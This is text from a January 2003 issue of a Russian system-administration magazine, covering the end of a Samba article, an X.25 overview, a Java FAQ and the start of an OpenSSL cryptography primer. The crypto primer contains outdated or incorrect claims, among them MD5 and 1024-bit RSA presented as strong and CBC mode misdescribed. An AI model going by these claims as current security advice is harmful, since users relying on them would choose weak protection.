ЗаключениеНа самом деле статья получилась не настолько полная, на-сколько хотелось бы. Не хватает настройки принтеров, тон-кой настройки прав доступа (через ACL), скрипта автома-тического создания машинных бюджетов, описания скрип-тов – до и после подключения клиентов, не хватает описа-ния winbind и собственно подключения клиентских машин.Также можно было бы рассмотреть распределенную фай-ловую систему Microsoft – MS DFS. Но тогда статья получи-лась гораздо бы более тяжелой и объемной. Если будут по-желания – постараюсь их выполнить. Либо на страницах это-го журнала, либо по электронной почте, в последнем случаея отвечаю всегда, но иногда могу отложить решение вашейпроблемы на 3-5 дней, о чем всегда вам сообщу.

P. S. 20 ноября 2002 года команда разработчиков SAMBAвыпустила версию 2.2.7, которую и желательно использо-вать вместо описанной в статье: в ней ликвидирована однапотенциально опасная дыра при проверке длины запросана смену зашифрованного пароля от клиента. Подчерк-ну, что готового кода, используещего данную уязвимость,не существует, – ошибка была найдена самими разработ-чиками. Подробнее смотрите на сайте разработчиков.

Page 14: 002 Системный Администратор 01 2003

12

администрирование

АБСОЛЮТНОВСЕ О Х.25 СЕРГЕЙ РОПЧАН

Сети, построенные на основе технологии Х.25, насегодняшний день являются самыми распростра-ненными сетями с коммутацией пакетов, использу-емыми в качестве корпоративных. Основная причи-на такой ситуации состоит в том, что долгое времясети Х.25 были единственными доступными сетя-

ми с коммутацией пакетов коммерческого типа, в ко-торых давались гарантии коэффициента готовностисети. Кроме того, они достаточно надежно работаютдаже на нестабильных линиях благодаря протоколамс установлением соединения и коррекцией ошибок надвух уровнях – канальном и сетевом.

Стандарт Х.25 трактуется как “интер-фейс между оконечным оборудовани-ем данных и аппаратурой передачиданных для терминалов, работающихв пакетном режиме в сетях передачиданных общего пользования”. Он былразработан комитетом ССIT в 1974году и пересматривался несколькораз. Стандарт наилучшим образомподходит для передачи трафика низ-

кой интенсивности, характерного длятерминалов, и в меньшей степени со-ответствует более высоким требова-ниям трафика локальных сетей. Каквидно из названия, стандарт не опи-сывает внутреннее устройство сетиХ.25, а только определяет пользова-тельский интерфейс с сетью. Взаимо-действие двух сетей Х.25 определяетстандарт Х.75.

Технология сетей Х.25 имеет не-сколько существенных признаков, от-личающих ее от других сетевых тех-нологий:! наличие в структуре сети специ-

ального устройства PAD (PacketAssembler Disassembler), предназ-наченного для выполнения опера-ции сборки нескольких низкоско-ростных потоков байт от алфавит-

Page 15: 002 Системный Администратор 01 2003

13№1(2), январь 2003

администрирование

но-цифровых терминалов в паке-ты, передаваемые по сети и на-правляемые компьютерам для об-работки, другими словами – сбор-щик-разборщик пакетов (СРП);

! наличие трехуровневого стекапротоколов с использованием наканальном и сетевом уровнях про-токолов с установлением соедине-ния (connectionless), управляющихпотоками данных и исправляющихошибки;

! ориентация на однородные стекитранспортных протоколов во всехузлах сети – сетевой уровень рас-считан на работу только с однимпротоколом канального уровня ине может подобно протоколу IPобъединять разнородные сети (ге-терогенные).

Сеть Х.25 состоит из коммутато-ров (Switches, S), которые также но-сят название центров коммутациипакетов (ЦКП), расположенных вразличных географических точках исоединениях высокоскоростнымивыделенными каналами. Следуетзаметить, что выделенные каналымогут быть как цифровые, так и ана-логовые.

Асинхронные старт-стопные тер-миналы подключаются к сети черезустройства PAD. Они могут бытьвстроенными или удаленными.Встроенные обычно расположены встойке коммутатора. Терминалы по-лучают доступ ко встроенному уст-ройству PAD по телефонной сети спомощью модемов с асинхронныминтерфейсом. Это устройство так-же подключается к телефонной сетис помощью нескольких модемов сасинхронным интерфейсом. Удален-ный PAD представляет собой неболь-шое автономное устройство, подклю-ченное к коммутатору через выде-ленный канал связи Х.25. К удален-ному устройству PAD терминалыподключаются по асинхронному пор-ту. Обычно для этой цели использу-ется RS-232C. Один PAD обычнообеспечивает доступ для 8, 16 или 24асинхронных терминалов.

К основным функциям PAD, опре-деленным стандартом Х.3, относятся:! сборка поступивших символов, по-

лученных от асинхронных терми-налов в пакеты;

! разборка полей данных в пакетахи вывод данных на асинхронныеданные;

! управление процедурами установ-ления соединения и разъединенияпо сети Х.25 с нужным компьюте-ром;

! передача символов, включающихстарт-стопные сигналы и биты про-верки на четность по требованиюасинхронного терминала;

! продвижение пакетов при наличиисоответствующих условий, такихкак заполнение пакета, истечениевремени ожидания и др.

Терминалы не имеют конечныхадресов сети Х.25. Адрес присваива-ется порту PAD, который подключенк коммутатору пакетов Х.25 с помо-щью выделенного канала.

Несмотря на то что задача подклю-чения “неинтеллектуальных” термина-лов к удаленным хостам возникаетсейчас достаточно редко, функцииPAD все еще остаются востребован-ными. Устройство PAD часто исполь-зуется для подключения к сетям Х.25кассовых терминалов и банкоматов,имеющих асинхронный интерфейсRS-232.

Cтандарт Х.28 определяет пара-метры терминала, а также протоколвзаимодействия терминала с устрой-ством PAD. При работе на терминалепользователь сначала проводит неко-торый текстовый диалог с устрой-ством, используя стандартный наборсимвольных команд. PAD может рабо-тать с терминалом в двух режимах:управляющем и передачи данных. Вуправляющем режиме пользователь спомощью команд может указать адресхоста, с которым нужно установитьсоединение по сети Х.25, а также ус-тановить некоторые параметры рабо-ты PAD: выбрать специальный символдля обозначения команды немедлен-ной отправки пакета, установить ре-жим эхо-ответов символов, набирае-мых на клавиатуре от устройства PAD,что является обычным локальнымрежимом работы терминала с хостом.

В сущности, Х.3 и Х.28 определя-ют протокол эмуляции терминала, по-добный протоколу telnet стека TCP/IP.Пользователь с помощью устройстваPAD устанавливает соединение с нуж-ным хостом, а затем уже может взаи-

модействовать с операционной систе-мой этого хоста.

Хосты и локальные сети обычноподключаются к сети Х.25 непосред-ственно через адаптер Х.25 или мар-шрутизатор, поддерживающий насвоих интерфейсах протоколы Х.25.В сети существует протокол Х.29, спомощью которого узел сети можетуправлять и конфигурировать PADудаленно, по сети. При необходимос-ти передачи данных хосты, подклю-ченные к сети Х.25 непосредственно,услугами PAD не пользуются, а само-стоятельно устанавливают виртуаль-ные каналы в сети и передают по нимданные в пакетах Х.25.

Адресация в сетях Х.25Если сеть Х.25 не подключена к ка-кой-либо публичной сети, то она мо-жет использовать адрес любой дли-ны (в пределах формата поля адре-са) и давать адресам произвольныезначения. Максимальная длина поляадреса в пакете Х.25 составляет 16байт.

Рекомендация Х.121 ССIT опреде-ляет международную систему нумера-ции адресов для сетей передачи дан-ных общего пользования. Если сетьХ.25 хочет обмениваться данными сдругой сетью Х.25, то в ней следуетпридерживаться рекомендации Х.121.

Адреса Х.121 (называемые такжеIDN – International Data Numbers) име-ют разную длину, которая может до-ходить до 14 десятичных знаков. Пер-вые четыре цифры IDN называют ко-дом идентификации сети (DataNetwork Identification Code, DNIC). CамDNIC поделен на две части: перваячасть (3 числа) определяет страну, вкоторой находится сеть, а вторая –номер сети Х.25 в данной стране. Та-ким образом, внутри каждой страныможно организовать только 10 сетейХ.25. Если требуется перенумероватьбольше чем 10 сетей для одной стра-ны, проблема решается тем, что од-ной стране дается несколько кодов.Например, Россия имела до 1995 годаодин код – 250, а в 1995 году ей былвыделен еще один код – 251. Осталь-ные цифры называются номером на-ционального терминала (NationalTerminal Number, NTN). Эти цифрыпозволяют идентифицировать опре-деленный DTE в сети Х.25.

Page 16: 002 Системный Администратор 01 2003

14

администрирование

Международные сети Х.25 могуттакже использовать международныйстандарт нумерации абонентов ISO7498.

По стандарту ISO 7498 для нуме-рации сетей Х.25 к адресу в форматеХ.121 добавляется только один байтпрефикса, несущий код 36 (использо-вание в адресе только кодов десятич-ных цифр) или 37 (использование вадресе только двоичных комбинаций).Этот код позволяет универсальнымкоммутаторам, например, коммутато-рам сети ISDN, поддерживающим так-же и коммутацию пакетов Х.25, авто-матически распознавать тип адреса иправильно выполнять маршрутиза-цию запроса на установление соеди-нения.

Стек протоколов Х.25Стандарты сетей Х.25 описывают 3уровня протоколов:! на физическом уровне определе-

ны синхронные интерфейсы Х.25и Х.21 bis к оборудованию переда-чи данных либо DSI/CSU, если вы-деленный канал является цифро-вым, либо к синхронному модему,если канал выделенный;

! на канальном уровне использует-ся подмножество протокола HDLC,обеспечивающее возможность ав-томатической передачи в случаевозникновения ошибок на линии.Возможен выбор из двух процедурдоступа к каналу: LAP или LAP-B;

! на сетевом уровне определен про-токол Х.25/3 обмена пакетамимежду оконечным оборудованиеми сетью передачи данных.

Транспортный уровень может бытьреализован в конечных узлах, но онстандартом не определяется.

Протокол физического уровня ка-нала связи не оговорен, и это даетвозможность использовать каналыразных стандартов.

На канальном уровне обычно ис-пользуется протокол LAP-B. Этот про-токол обеспечивает сбалансирован-ный режим работы, то есть оба узла,участвующие в соединении, равно-правны. По протоколу LAP-B устанав-ливается соединение между пользо-вательским оборудованием DTE икоммутатором сети. Хотя стандарт этои не оговаривает, но по протоколу

LAP-B возможно также установлениесоединения на канальном уровневнутри сети между непосредственносвязанными коммутаторами. Прото-кол LAР-B почти во всех отношенияхидентичен протоколу LLC2, кроме ад-ресации. Кадр LAP-B содержит однооднобайтовое адресное поле. Поддер-живается как нормальный режим ( смаксимальным окном в 8 кадров иоднобайтовым полем управления),так и расширенный режим (с макси-мальным окном в 128 кадров и двух-байтовым полем управления).

Сетевой уровень Х.25/3 (в стан-дарте он назван не сетевым, а пакет-ным уровнем) реализуется с исполь-зованием 14 различных типов паке-тов, по назначению аналогичных ти-пам кадров протокола LAP-B. Так какнадежную передачу данных обеспечи-вает протокол LAP-B, протоколХ.25/3 выполняет функции маршрути-зации пакетов, установления и разры-ва виртуального канала между конеч-ными абонентами сети и управленияпотоком пакетов.

После установления соединения наканальном уровне конечный узел дол-жен установить виртуальное соедине-ние с другим конечным узлом сети. Дляэтого он в кадрах LAP-B посылает па-кет Call Request протокола Х.25.

Для сокращения размера адрес-ных таблиц в коммутаторах сетей Х.25реализуется принцип агрегированияадресов. Все терминалы, имеющиеобщий префикс в адресе, подключа-ются при этом к общему входномукоммутатору подсети, соответствую-щему значению префикса. Например,если путь ко всем терминалам, име-ющим адреса с префиксом 251 456,пролегает через общий коммутаторS1, то в таблице маршрутизации ком-мутаторов, через которые проходитпуть к коммутатору S1, помещаетсяединственная запись – 251 456, кото-рая соответствует как конечному хо-сту 251 456 12, так и конечному узлу251 45. Маски в коммутаторах не ис-пользуются, а младшие разряды ад-реса, которые не нужны при маршру-тизации, просто опускаются.

Коммутаторы сетей Х.25 пред-ставляют собой гораздо более про-стые и дешевые устройства по срав-нению с маршрутизаторами сетейTCP/IP. Это объясняется тем, что они

не поддерживают процедуру обменамаршрутной информацией и нахожде-ния оптимальных маршрутов, а так-же не выполняют преобразованийформата кадров канальных протоко-лов, то есть они технологически про-ще. По принципу работы они болееприближены к коммутаторам локаль-ных сетей, чем к маршрутизаторам.Однако работа, которую выполняюткоммутаторы Х.25 над пришедшимикадрами, включает больше этапов,чем при продвижении кадров комму-таторами локальных сетей. Коммута-тор Х.25 должен принять кадр LAP-Bи ответить на него другим кадромLAP-B, в котором подтвердить полу-чение кадра с конкретным номером.При утере или искажении кадра ком-мутатор должен организовать повтор-ную передачу кадра. Если же с кад-ром LAP-B все в порядке, то комму-татор должен извлечь пакет Х.25, наосновании номера виртуального кана-ла определить выходной порт, а за-тем сформировать новый кадр LAP-Bдля дальнейшего продвижения паке-та. Коммутаторы локальных сетей та-кой работой не занимаются и простопередают кадр в том виде, в которомон пришел на выходной порт.

В результате производительностькоммутаторов Х.25 оказываетсяобычно невысокой – несколько тысячпакетов в секунду. Для низкоскорос-тных каналов доступа, которыми мно-го лет пользовались абоненты этойсети (1200-9600 бит/с), такой произ-водительности коммутаторов хваталодля работы сети.

Гарантий пропускной способностисеть Х.25 не дает. Максимум, что мо-жет сделать сеть, – это расставитьприоритеты трафика отдельных вир-туальных каналов. Приоритет каналауказывается в запросе на установле-ние соединения в поле услуг.

ВыводыПротоколы сетей Х.25 были специ-ально разработаны для низкоскоро-стных линий с высоким уровнем по-мех. Именно такие линии составля-ют пока большую часть телекомму-никационной структуры нашей стра-ны, поэтому сети Х.25 будут по-пре-жнему еще долго являться наиболеерациональным выбором для многихрегионов.

Page 17: 002 Системный Администратор 01 2003

FAQ JAVA

15№1(2), январь 2003

ВОПРОС: Как правильно вывести в системную консольмногострочный текст?

ОТВЕТ: Используйте несколько вызовов System.out.println.Не пытайтесь использовать специальный символ “\n” для

разделения строк, как это принято в языках C, C++, Perl имногих других. В языке Java символ “\n”, в полном соответ-ствии с идеологией языка, является платформенно-незави-симым: на любой платформе он имеет десятичный код 10(стандартный символ «перевода строки»). Но, скажем, наMacintosh для перехода на новую строку используется другойсимвол: ASCII 13 (“\r” в Java).

Существует корректная альтернатива использованию се-рии вызовов println. Можно объявить константу:

и использовать ее для разделения строк:

Все сказанное, конечно, справедливо только в случае, есливывод на консоль используется с целью визуального просмот-ра на том же компьютере. Если средства консольного выво-да используются, скажем, для формирования заголовка HTTP-ответа Web-сервера по HTTP-протоколу, в котором строкидолжны разделяться парой символов с жестко фиксирован-ными кодами 13 и 10, то ситуация будет обратной. Использо-вание метода println будет ошибкой, а правильным решениембудет вызов метода print с явным добавлением комбинации«\r\n» в конце каждой строки.

public static final String lineSeparator= System.getProperty("line.separator","\n");

System.out.println("1st line" +lineSeparator+"2nd line");

ВОПРОС: Как измерить промежуток времени, затрачен-ный, например, на выполнение некоторого участка програм-мы?

ОТВЕТ: Воспользуйтесь вызовом «System.current-TimeMillis()», возвращающим число миллисекунд с начала1970 года.

Однако будьте внимательны: метод System.current-TimeMillis обычно весьма неточен. В большинстве реализа-ций он даже не обеспечивает декларированную точность в1 миллисекунду. Например, в Windows NT/2000/XP возвра-щаемое значение меняется в среднем один раз в 10 милли-секунд. Поэтому данный метод пригоден лишь для измере-ния сравнительно длительных промежутков времени.

Если необходимо точно измерить короткий промежутоквремени – например, время исполнения некоторого участкакода – можно попытаться повторить соответствующий учас-ток много раз в достаточно длинном цикле и поделить об-щее время на число итераций. Для исключения влияния па-раллельных процессов эту операцию обычно имеет смыслповторить несколько десятков раз и из всех измерений вре-мени взять наименьший результат.

Альтернативный подход – реализовать для точного из-мерения времени native-метод на языке C. В операционнойсистеме Windows можно использовать стандартные вызовыQueryPerformanceCounter и QueryPerformance-Frequency,обеспечивающие на Intel-платформе точность около 1 нано-секунды. Кроме того, на процессорах Intel можно использо-

Составил Даниил Алиевский

Page 18: 002 Системный Администратор 01 2003

ВСЕВОЛОД СТАХОВ

ТЕОРИЯИ ПРАКТИКАOPENSSL

Page 19: 002 Системный Администратор 01 2003

17№1(2), январь 2003

администрирование

Ещё несколько лет назад криптог-рафические системы применялисьлишь в исключительных случаях: вправительственных организациях,спецслужбах и иных критических кбезопасности данных системах. Од-нако в настоящее время бурное раз-витие компьютерных сетей и Интер-нета заставляет задумываться обобеспечении безопасности всё боль-шее количество людей. Вначале опи-шем основные принципы и терминыкриптографии...

В настоящее время все озабоче-ны безопасностью передаваемых посети данных, поэтому свою статьюя бы хотел начать с разговора о спо-собах защиты информации.

Что такое шифрование? Это за-пись информации в особом виде, ис-ключающем её прочтение лицами,не знающими шифра. В компьютер-ном мире защита данных актуальна,как нигде. Обычно шифрованием на-зывают обработку данных при помо-щи некой функции f(x), где x – обра-батываемые данные. Алгоритмшифрования должен быть таким, чтодаже само знание алгоритма зло-умышленником не должно помочьему открыть ключ шифрования, тоесть алгоритм должен основывать-ся на трудоёмкости подбора ключа,а не на неизвестности алгоритма.Алгоритмы шифрования бываютодно и двунаправленными; однонап-равленные алгоритмы чаще всегопредставляют собой так называе-мые хеши: численное представле-ние некоего текста. Абсолютно оче-видно, что даже зная хеш, невоз-можно вычислить исходный текст(бывает, что для разных текстов хешсовпадает, что тоже естественно,так как множество вариантов тек-стов бесконечно, а чисел, использу-емых в алгоритмах – конечно). Длячего же такое нужно? Применениеесть замечательное: если одной итой же хеш-функцией обработатьодинаковые строки, то результат бу-дет идентичен! Это свойство можноиспользовать при проверке пароля:строка, введённая пользователем,хешируется и сравнивается с хешемпароля. При этом из хеша паролявосстановить сам пароль нельзя,можно только применять даннуюхеш-функцию к разным строкам,

ища совпадения, т.е. методом пря-мого перебора. Вот почему совету-ют выбирать длинные и сложные па-роли для важных целей.

Хеш-функций существует огром-ное множество и есть некоторыестандартные ряды хеш-функций,наибольшее распространение полу-чили ряды MD и SHA. К примеру,стандартная функция Unix crypt вы-числяет значение хеш-функции отстроки. Один из параметров, пере-даваемых этой функции, значитсякак salt, состоит из символов $1$ истроки из 8 символов и определяетвыбор хеш-функции из ряда MD5, авозвращаемое значение содержитодиннадцать первых символов salt,чтобы знать в будущем для провер-ки, какую функцию применять. Еслидва первых символа salt – произ-вольная двухсимвольная строка, тоиспользуется обычный алгоритмDES (56 бит), а salt определяет вы-бор алгоритма подмешивания. В на-стоящее время 56 бит обычно недо-статочно, для нахождения ключадлиной 56 бит необходимо пере-брать «всего» 72057594037927936(256) ключей. Для кластера компью-теров эта задача решается в считан-ные часы, поэтому сейчас во всехсовременных *nix используется ал-горитм MD5, который позволяет ге-нерировать отпечатки (хеши) паро-лей длиной до 128 бит, для подборакоторого потребуются в худшем слу-чае миллиарды лет!

Итак, можно закончить с одно-направленными алгоритмами и пе-рейти к двунаправленным... Суще-ствует два рода таких алгоритмов:симметрические и асимметрические(алгоритмы с публичным ключом).Симметрические алгоритмы исполь-зуют один и тот же ключ для шиф-рования и дешифрования и их стой-кость определяется в основном дли-ной используемого ключа. Ключсимметрического шифрования ни вкоем случае нельзя передавать в от-крытом виде, так как это даст воз-можность злоумышленнику, полу-чившему этот ключ, расшифровы-вать данные, этим ключом зашиф-рованные. Асимметрические алго-ритмы предоставляют возможностьпередачи публичного ключа в откры-том виде, в то время как секретный

ключ должен быть известен тольковам. Приведу наглядную демонстра-цию полезности шифрования.

К примеру, вы хотите пройтиаутентификацию на удалённой ма-шине и посылаете ей свой пароль,конечно же, не сам пароль, а егохеш. Но, к сожалению, где-то на путивстретился хаб, который дал воз-можность послушать ваши пакетыснифером. Этим, естественно, вос-пользовался злой дядька, подклю-чённый к этому хабу. Он смог бес-препятственно взять ваш хеш паро-ля, взломать его (если повезёт) илипросто посылать этот же хеш серве-ру. Таким образом, под вашим ло-гином входят два человека. Не ду-маю, что кого-то развеселит эта си-туация (разве что злого дядьку, еслиего не засекут). Или ещё примерполной беззащитности: электроннаяпочта не защищается никак (покрайней мере, по стандартной схе-ме) и всякий может её прочитать илиизменить. Нет-нет, не надо бежатьв хозяйственный магазин за мыль-цем и верёвочкой – спасение есть.Это асимметрическое шифрование.Идея такова: вначале от генерато-ра случайных чисел формируетсяопределённая строка – секретныйключ, который может использовать-ся для расшифровки данных, за-шифрованных публичным ключом.Публичный ключ вычисляется на ос-новании секретного ключа. Такимобразом мы получили пару ключейдля шифрования (публичный ключ)и расшифровывания (секретныйключ). Затем на удалённой машинетакже создаётся подобная пара клю-чей (скорее всего она будет иной,так как довольно сложно, чтобы наразных машинах генератор случай-ных чисел генерировал одну и ту жепоследовательность). Итак, у насесть две пары ключей, мы должныобменяться публичными ключами.После этого вы можете, используяпубличный ключ удалённой машины,зашифровывать данные, которыемогут быть расшифрованы ею с по-мощью имеющегося только у неёсекретного ключа. Так как удалён-ная машина имеет и ваш публичныйключ, то подобная операция можетработать наоборот (т.е. передачаданных на вашу машину). Да, вроде

Page 20: 002 Системный Администратор 01 2003

18

администрирование

бы всё хорошо: информация, пере-даваемая между машинами, можетбыть расшифрована только ими, ноесть одно «но». Представьте ситуа-цию подмены публичных ключей придоставке: тогда правильный ключбудет считаться неправильным, аподменённый ключ – правильным.Обычным методом защиты публич-ного ключа асимметрического шиф-рования является его сертификация.Для понятия сертификации сразу женеобходимо объяснить, что такоеэлектронная цифровая подпись.ЭЦП – это хеш сообщения с данны-ми об отправителе, подписанныйсекретным ключом последнего. Наосновании ЭЦП можно определитьдостоверность и неизменность сооб-щения при условии, что имеется пуб-личный ключ. Публичный ключ, ана-лизируя ЭЦП, даёт один из ответов:достоверен, недостоверен (был из-менён). А так как найти такое зна-чение хеша, чтобы оно совпадалодля двух различных сообщений (т.е.h(M)=h(M’)) очень сложно, сопоста-вимо с прямым перебором, то прак-тически нет способа подменить со-общение, подписанное ЭЦП. При пе-ресылке публичного ключа его под-мена обычно исключается электрон-ной подписью, гарантирующей неиз-менность данных. Обычно публич-ный ключ подписывается либо сек-ретным ключом данной пары, либоодним из доверенных ключей сто-ронних организаций. То есть в лю-бом случае к ключу ЭЦП должнобыть доверие. Такой механизм пол-ностью исключает подмену публич-ного ключа, так как в противном слу-чае подпись будет недостоверна ипрограмма установления безопас-ной связи просто не примет данно-го ключа, автоматически считая егоневерным.

Есть ещё возможность исклю-чить перехват публичного ключа –подтверждение получения ключа отдругой машины и обмен идентифи-кационными сообщениями. Такойметод применён, например, в меха-низме беспарольной аутентифика-ции SSH. Вы обмениваетесь ключа-ми с сервером и звоните владельцуудалённой машины (особенно этоактуально при аутентификации кли-ента на сервере путём подтвержде-

ния валидности ключа), подтверж-дая и проверяя передачу ключа. Притаких методах защиты полностьюисключен перехват конфиденциаль-ных данных, если, конечно, не вы-весить свой секретный ключ на дос-ку почёта в раздел «Достижения вбезопасности за последний квар-тал». А если серьёзно, то потерясекретного ключа позволяет любо-му расшифровывать всё, что за-шифровано вами или для вас, тоесть происходит полная потеря бе-зопасности. Поэтому во многих сис-темах аутентификации секретныеключи дополнительно шифруютсянеким паролем. Без пароля секрет-ный ключ представляет собой мень-ше ценности, так как ломать парольможно только прямым перебором.Но всё же лучше держать секретныеключи при себе.

Ещё многих интересует, что оз-начает стойкость ключа. Это простодлина ключа в битах. Чем она боль-ше, тем больше степень сложностиподбора секретного ключа перебо-ром. Но одновременно с этим уве-личивается время работы алгорит-мов и увеличивается объем сообще-ний за счёт неиспользуемых элемен-тов ключа. Поэтому здесь лучше небросаться в крайности, стойкостьключа длиной в 1024 бит вроде быявляется достаточной (в настоящеевремя), хотя при пересылке почто-вых сообщений используют ключидлиной до 2048 бит (OpenPGP). Дляключей симметрического шифрова-ния достаточной является длина 128бит. Ещё критичным фактором яв-ляется работа генератора случай-ных чисел. Если злоумышленникуудалось найти некую закономер-ность в генераторе случайных чи-сел, то ему ничего не стоит создатьлюбой ключ (а зачастую и «случай-ные» пароли). Поэтому сообщения огромких взломах различных ключейчаще всего вызваны тем, что зло-умышленник нашёл баг в генерато-ре случайных чисел.

Некоторых интересует также, чтоозначают загадочные надписи RSA иDSA. Это сокращённые названия ал-горитмов асимметрического шифро-вания. Различаются они математичес-кой основой работы, которая опреде-ляет степень защищённости и ско-

рость работы в разных режимах (вомногих системах существует такжеограничение на длину DSA ключей в1024 бита, ключи RSA могут бытьлюбой длины, но обычно используют-ся ключи 1024 – 4096 бит). Среди ал-горитмов симметрического шифрова-ния наиболее распространены следу-ющие:! DES (56 бит);! 3DES (168 бит);! RC* (40 – 128 бит);! Blowfish (128 бит);! IDEA (128 бит).

Алгоритмы, использующие ключидлиной до 128 бит, считаются алгорит-мами низкой безопасности, 128 бит –средней, более 128 бит – высокой. Ал-горитмы симметрического шифрова-ния могут работать в нескольких ре-жимах, обычно используется режимcbc, когда ключ динамически высчи-тывается на основании предыдущегоблока данных, т.е. в режиме cbc ключпостоянно меняется, что затрудняетатаки.

При использовании клиентов, ра-ботающих на безопасных каналахсвязи (SSL – secure socket layer), час-то можно видеть запрос на подтвер-ждение публичного ключа для связиили сертификата (подписанного пуб-личного ключа, как было описано ра-нее). Как я уже говорил, публичныйключ могут подменить, но если вы до-веряете своим каналам связи и не ду-маете, что кто-то охотится персональ-но за вашими данными, то можно до-верять публичному ключу удалённо-го сервера, так как подмена ключа –занятие довольно трудоёмкое, а еслиу вас есть некие подозрения на этотсчёт, то лучше не доверять ключу, неполучив подтверждения от нужноголица или организации (не вздумайтеиспользовать электронную почту: ужесли смогли подделать ключ, то под-менить письмо не составляет труда).Генерация ключей клиента происхо-дит на лету и они автоматически уда-ляются после окончания сеанса свя-зи, публичный ключ удалённого сер-вера помещается в специальное хра-нилище, что избавляет вас от рискапересылки публичного ключа. Основ-ные атаки на системы асимметричес-кого шифрования связаны с тем, чтозлоумышленник может угадать со-

Page 21: 002 Системный Администратор 01 2003

19№1(2), январь 2003

администрирование

держимое части зашифрованныхданных (например, письма часто на-чинаются со слов «Здравствуйте, »),и это знание облегчает подбор сек-ретного ключа. Ещё очень опаснаатака на подмену ключей (man-in-the-middle), когда злоумышленникперехватывает публичные ключидвух людей, затем генерирует двепары ключей и направляет свои пуб-личные ключи обеим сторонам. Те-перь первый человек посылает зло-умышленнику своё письмо, котороетот расшифровывает своим ключом,читает, зашифровывает публичнымключом второго человека и отправ-ляет ему послание. Таким образом,у людей создается иллюзия защи-щённой переписки, но читает их со-общения и третий (который, как из-вестно, лишний). Выходом из такойситуации является сертификацияпубличных ключей. Существует дваспособа сертификации ключей:! ключ может быть подписан толь-

ко ключом одного из доверенныхисточников сертификации (обыч-но это организации, которыеимеют привеллегии сертифика-ции, переданные им правитель-ством страны);

! ключ может быть подписан однимиз ключей, которым вы доверяете(обычно это ваш собственный ключи ключи организаций, занимаю-щихся выдачей сертификатов).

Второй механизм, называемыйсетью доверия, используется чаще,так как позволяет добавлять новыеключи к доверенным. Оба механиз-ма предусматривают механизм цеп-ного подписывания, например, еслиключ А был подписан ключом Б, ко-торый подписан ключом С, которыйподписан вашим ключом, то ключ Асчитается доверенным. При этом чис-ло таких «шагов» наследованияобычно ограничено. Такой механизмсети доверия реализован, например,в системе PGP и в системе OpenSSL.Этим обеспечивается безопасностьклиента.

Безопасность сервера необходи-ма лишь в случае удаленной беспа-рольной аутентификации, тогда ад-министратор удалённой системы по-мещает ваш ключ в список извест-ных ключей системы. Примечание

для администраторов: если вы нехотите, чтобы все могли использо-вать данный ключ, объяснитепользователю опасность доступа по-сторонних лиц к его секретному клю-чу и убедите его зашифровать сек-ретный ключ паролем, который,кстати, можно удобно хранить в па-мяти и не вводить лишний раз, нооб этом я расскажу в статье об SSH.И ещё: не забывайте убедиться втом, что ключ пришёл от того, когопредполагалось, для этого лучшепопросить пользователя принестиключик на дискетке, а потом её де-зинтегрировать или оставить в эпи-центре ядерного взрыва (жаль это-го нельзя проделать с некоторыми«пользователями», хотя почемунельзя? Мария Францевна, подойди-те-ка на минутку...).

И наконец, скажу ещё вот что:асимметрическое шифрование ис-пользуется для подписи и зашифро-вывания почтовых сообщений, уда-лённой аутентификации и ЭЦП в лю-бых её применениях. Но для переда-чи большого количества данных че-рез сеть использовать асимметричес-кое шифрование очень печально – всёзагнется окончательно и бесповорот-но: уж больно много времени надодля использования подобных алго-ритмов. Поэтому при передаче дан-ных по сети используют симметри-ческое шифрование (3DES, IDEA,Blowfish). Но ключ симметрическогошифрования очень опасно переда-вать в открытом виде (ведь он ис-пользуется для шифрования и де-шифрования), и вначале устанавли-вается связь асимметрическим шиф-рованием, как было описано выше.После установления связи клиент ге-нерирует ключ симметрическогошифрования и шифрует его публич-ным ключом сервера, затем отправ-ляет его собственно серверу (такжевыполняется подписывание симмет-рического ключа для удостоверенияв его неизменности). Сервер рас-шифровывает своим секретным клю-чом ключ симметрического шифро-вания и использует его для общенияс клиентом. Красота! Но есть ещёодин способ – алгоритм Дифлемана-Хельмана, позволяющий использо-вать одни и те же ключи как для сим-метрического, так и для асимметри-

ческого шифрования. Он заключает-ся в нехитрых математических зако-нах степенной функции (я не буду наэтом заострять внимание, так каквряд ли это пригодится на практике).Оказывается, имея пару – публичныйключ A и секретный ключ B, можновычислить ключ симметрическогошифрования С, который также полу-чается при наличии пары ключей сек-ретный А и публичный B. Говоря про-ще, ключ С однозначно могут вычис-лить обе машины, обменявшиесяпубличными ключами. Этот ключможно далее использовать для шиф-рования/дешифрования данных постандартному алгоритму симметри-ческого ключа. Такой способ доста-точно безопасный, но он пока ещё неполучил достаточного распростране-ния и поэтому сейчас чаще исполь-зуется первый способ. Любопытныетут же поинтересуются: почему, ког-да я говорил о симметрическом шиф-ровании, я сказал, что 128-и битныйключ теоретически несокрушим, а го-воря об асимметрическом шифрова-нии, сказал, что ключ длиной 1024бит считается пока ещё более-менеебезопасным. Тут дело вот в чём: приасимметрическом шифровании вы-бираются 2 больших простых числаи на их основе создаются секретныйи публичный ключи. Не вдаваясь вматематику (для математическойстороны алгоритмов шифрованияможете зайти на лучший алгоритми-ческий ресурс в рунете ht tp:/ /algolist.manual.ru), скажу только одно:для вычисления секретного ключа наосновании публичного необходимовыполнить задачу разложения на мно-жители, которая пропорциональна ло-гарифму по модулю большого целогочисла (это реализовать намного про-ще, чем прямой перебор).

Ну вот, с теорией покончено, мож-но приступить к практике.

OpenSSL – это система защиты исертификации данных, название SSLпереводится как система безопасныхсокетов. OpenSSL используетсяпрактически всеми сетевыми серве-рами для защиты передаваемой ин-формации. Существует API SSL, по-зволяющее создавать безопасныесокеты с шифрованием передавае-мых данных. Но в данной статье я быхотел рассказать о самой системе

Page 22: 002 Системный Администратор 01 2003

20

администрирование

OpenSSL, вызываемой через коман-дную строку.

Так как OpenSSL поддерживаеточень много различных стандартовсертификации, шифрования, хеширо-вания, то использование данной ко-манды достаточно сложно. ВнутриOpenSSL существуют отдельные ком-поненты, отвечающие за то или иноедействие. Для получения списка дос-тупных компонентов можно вызватьopenssl с параметрами list-standart-commands. Можно также получить спи-сок доступных алгоритмов хеширова-ния (list-message-digest-commands) иалгоритмов шифрования (list-cipher-commands). Итак, с помощью командOpenSSL можно делать следующее:! Создавать и управлять ключами

RSA и DSA – команды rsa, dsa,dsaparam;

! Создавать сертификаты форматаx509, запросы на сертификацию,восстановление – команды x509,req, verify, ca, crl, pks12, pks7;

! Зашифровывать данные с помо-щью симметрического или асим-метрического шифрования – ко-манды enc, rsautl;

! Высчитывать хеши различных ти-пов – команда dgst;

! Работать с S/MIME – командаs/mime;

! Проверять работы серверов и кли-ентов ssl – команды s_client,s_server.

